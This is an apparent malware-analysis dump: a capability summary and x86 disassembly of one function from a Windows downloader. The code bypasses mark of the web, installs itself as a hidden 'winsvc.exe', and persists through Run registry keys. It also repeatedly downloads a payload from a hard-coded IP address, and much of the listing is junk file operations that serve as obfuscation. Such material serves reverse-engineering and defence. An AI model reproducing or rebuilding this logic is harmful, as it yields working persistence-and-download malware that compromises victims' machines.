Function at 0x401530
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create http request
Delete file
Hide graphical window
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd10
mov eax, dword [0x40448c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0xa8c], 0x233c
mov eax, dword [ebp - 0x44c]
cmp eax, dword [ebp - 0xa8c]
jae 0x401d00
push 0
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xcd8], eax
cmp dword [ebp - 0xcd8], 0
je 0x401cec
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xcfc], eax
cmp dword [ebp - 0xcfc], 0
je 0x4015f8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xd00], 0
jmp 0x40161e
mov ecx, dword [ebp - 0xd00]
add ecx, 1
mov dword [ebp - 0xd00], ecx
cmp dword [ebp - 0xd00], 0x7d0
jge 0x401696
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.ffag8f2g8fg82g8f8g8fg
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40160f
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xcf0], eax
push str.ffag8f2g8fg82g8f8g8fg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xcf0], 0
je 0x401810
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ffag8f2g8fg82g8f8g8fg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov edx, dword [ebp - 0xcf0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xce4], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xce4], 0
je 0x4017f8
mov dword [ebp - 0xd04], 0
jmp 0x4017b4
mov eax, dword [ebp - 0xd04]
add eax, 1
mov dword [ebp - 0xd04], eax
cmp dword [ebp - 0xd04], 0x7d0
jge 0x4017f8
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4017a5
mov ecx, dword [ebp - 0xce4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xcf0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov eax, dword [ebp - 0xcd8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xcd8]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.2dgd828d8g8fg8g8g
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0xcf8], 0x37
mov dword [ebp - 0xce8], 0x2c
mov edx, dword [ebp - 0xcf8]
add edx, dword [ebp - 0xce8]
mov dword [ebp - 0xcf4], edx
cmp dword [ebp - 0xcf4], 0x2328
jge 0x401aeb
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.aefafugaugfgauegf
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xd08], eax
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xcf0], eax
cmp dword [ebp - 0xcf0], 0
je 0x4019bc
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov eax, dword [ebp - 0xcf0]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xce4], eax
cmp dword [ebp - 0xce4], 0
je 0x4019a4
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xce4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xcf0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xd08], 0
je 0x401aeb
push 0
mov eax, dword [ebp - 0xd08]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xd08]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xcf0], eax
cmp dword [ebp - 0xcf0], 0
je 0x401ade
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov edx, dword [ebp - 0xcf0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xce4], eax
cmp dword [ebp - 0xce4], 0
je 0x401a88
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xce4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xcf0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xcec], 0x1388
mov dword [ebp - 0xcdc], 0x1f4
mov edx, dword [ebp - 0xcec]
cmp edx, dword [ebp - 0xcdc]
jbe 0x401b76
push 0
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xd0c], eax
cmp dword [ebp - 0xd0c], 0
je 0x401b74
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xcdc]
add eax, 1
mov dword [ebp - 0xcdc], eax
jmp 0x401aff
push str.aefafugaugfgauegf
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401bf8
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.ffag8f2g8fg82g8f8g8fg
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.aefyaiegfayegfg
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xce0], eax
cmp dword [ebp - 0xce0], 0
je 0x401c8d
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xcd8]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
mov edx, dword [ebp - 0xcd8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.aefafugaugfgauegf
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xd10], 0
jmp 0x401ca8
mov eax, dword [ebp - 0xd10]
add eax, 1
mov dword [ebp - 0xd10], eax
cmp dword [ebp - 0xd10], 0xfa0
jge 0x401cec
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
push str.argarhrharharfafrahth
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x401c99
mov ecx, dword [ebp - 0x44c]
add ecx, 1
mov dword [ebp - 0x44c], ecx
jmp 0x401564
call fcn.00401480
movzx edx, al
test edx, edx
je 0x401d11
call fcn.00401000
mov eax, dword [str.PreLoad]
mov dword [ebp - 0x448], eax
mov ecx, dword [0x4034a4]
mov dword [ebp - 0x444], ecx
mov edx, dword [str.winsvc.exe]
mov dword [ebp - 0xa88], edx
mov eax, dword [0x4034ac]
mov dword [ebp - 0xa84], eax
mov ecx, dword [0x4034b0]
mov dword [ebp - 0xa80], ecx
mov edx, dword [0x4034b4]
mov dword [ebp - 0xa7c], edx
mov eax, dword [0x4034b8]
mov dword [ebp - 0xa78], eax
mov cx, word [0x4034bc]
mov word [ebp - 0xa74], cx
mov ecx, 8
mov esi, str.Windows_Service
lea edi, [ebp - 0x440]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xd
mov esi, str.http:__193.3.19.247_pl.exe
lea edi, [ebp - 0xac4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [ebp - 0x448]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xcd4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401dc2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x65c], 0
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x420]
push edx
push str._s:Zone.Identifier
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0xa88]
push edx
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
je 0x402013
push 0x104
lea ecx, [ebp - 0xa70]
push ecx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xa88]
push edx
lea eax, [ebp - 0xa70]
push eax
push 0x403554
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x868]
push edx
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401f21
push 3
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x65c]
push edx
push 0x20006
push 0
push 0x403560
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f03
lea eax, [ebp - 0x868]
push eax
call sub.MSVCR90.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x868]
push edx
push 1
push 0
lea eax, [ebp - 0x440]
push eax
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x868]
push eax
call fcn.00401070
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x401f21
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0xcd0]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xa88]
push eax
lea ecx, [ebp - 0xcd0]
push ecx
push str._s_s
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x658]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x402013
push 3
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x65c]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401ff5
lea ecx, [ebp - 0x658]
push ecx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x658]
push eax
push 1
push 0
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x658]
push ecx
call fcn.00401070
add esp, 4
movzx edx, al
test edx, edx
je 0x402013
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x450], 0
mov eax, 1
test eax, eax
je 0x402060
lea ecx, [ebp - 0x450]
push ecx
lea edx, [ebp - 0xac4]
push edx
call fcn.00401120
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x402053
lea ecx, [ebp - 0xac4]
push ecx
call fcn.004011c0
add esp, 4
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40201d
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402086
mov esp, ebp
pop ebp
ret 0x10